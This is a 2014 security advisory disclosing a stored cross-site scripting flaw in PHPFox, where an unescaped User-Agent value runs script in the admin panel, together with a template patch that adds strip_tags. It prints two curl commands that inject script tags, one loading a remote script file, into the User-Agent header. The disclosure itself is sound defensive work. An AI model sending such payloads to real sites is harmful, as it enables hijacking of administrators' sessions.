PHPFox Cross Site Scripting

Posted on 19 November 2014
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CNA primary
 MITRE Corporation ( cve-assign [ \**NOSPAM\ ] mitre \NOSPAM\ org )

Software Vendors
 http://moxi9.com/phpfox
 Product: PhpFox
 Version: ALL

Research
 Wesley Henrique Leite ( wesleyhenrique [\NOSPAM**] gmail \NOSPAM// com )

[+] INFORMATION
 Vendor Notified : 2014-10-22
 Vendor Homepage : http://moxi9.com/phpfox

 Response Vendor: fixed 2014-10-23 (to v4 Beta)

[+] DESCRIPTION

The system stores all urls accessed in a database table, below
information in the same 'phpfox_log_session'

[phpfox]> desc phpfox_log_session;
+---------------+----------------------+------+-----+---------+-------+
| Field | Type | Null | Key | Default | Extra |
+---------------+----------------------+------+-----+---------+-------+
| session_hash | char(32) | NO | MUL | NULL | |
| id_hash | char(32) | NO | | NULL | |
| captcha_hash | char(32) | YES | MUL | NULL | |
| user_id | int(10) unsigned | NO | MUL | NULL | |
| last_activity | int(10) unsigned | NO | MUL | NULL | |
| location | varchar(255) | YES | | NULL | |
| is_forum | tinyint(1) | NO | | NULL | |
| forum_id | smallint(4) unsigned | NO | | NULL | |
| im_status | tinyint(1) | NO | | 0 | |
| im_hide | tinyint(1) | NO | | 0 | |
| ip_address | varchar(15) | NO | | NULL | |
| user_agent | varchar(100) | NO | | NULL | |
+---------------+----------------------+------+-----+---------+-------+

the column that can be manipulated is:
 -> user_agent (100)

all acess store in the system, such as bots and users wandering around the
web site, can be seen in:

 AdminCP
 TOOLS > Online > Guests/Boots

 Output
 | IP ADDRESS | User-Agent | ...

knowing this, the following code was created to inject a script into the
AdminCP with User-Agent.

 $ curl -A "<script src='http://www.example.com/script.js'></script>" 
 http://www.meusite.com.br/

 OR

 $ curl -A "<script>alert(1);</script>" http://www.meusite.com.br/

when any user with administrative access in.
 'AdminCP'
 TOOLS > Online > Guests/Boots

we have the script running in the administrative area.

[+] My Solution

 (line 1.8)

 1.1 --- a/module/core/template/default/controller/admincp/online-guest.html.php Tue Oct 21 10:00:11 2014 -0200
 1.2 +++ b/module/core/template/default/controller/admincp/online-guest.html.php Tue Oct 21 12:28:39 2014 -0200
 1.3 @@ -25,7 +25,7 @@
 1.4 {foreach from=$aGuests key=iKey item=aGuest}
 1.5 <tr class="checkRow{if is_int($iKey/2)} tr{else}{/if}">
 1.6 <td><a href="{url link='admincp.core.ip' search=$aGuest.ip_address_search}" title="{phrase var='admincp.view_all_the_activity_from_this_ip'}">{$aGuest.ip_address}</a></td>
 1.7 - <td>{$aGuest.user_agent}</td>
 1.8 + <td>{$aGuest.user_agent|strip_tags}</td>
 1.9 <td class="t_center">
 1.10 <div class="js_item_is_active"{if !$aGuest.ban_id} style="display:none;"{/if}>
 1.11 <a href="#?call=ban.ip&ip={$aGuest.ip_address}&active=0" class="js_item_active_link" title="{phrase var='admincp.unban'}">{img theme='misc/bullet_green.png' alt=''}</a>
 1.12 @@ -43,4 +43,4 @@
 1.13 <div class="extra_info">
 1.14 {phrase var='admincp.no_guests_online'}
 1.15 </div>
 1.16 -{/if}
 1.17  No newline at end of file
 1.18 +{/if}

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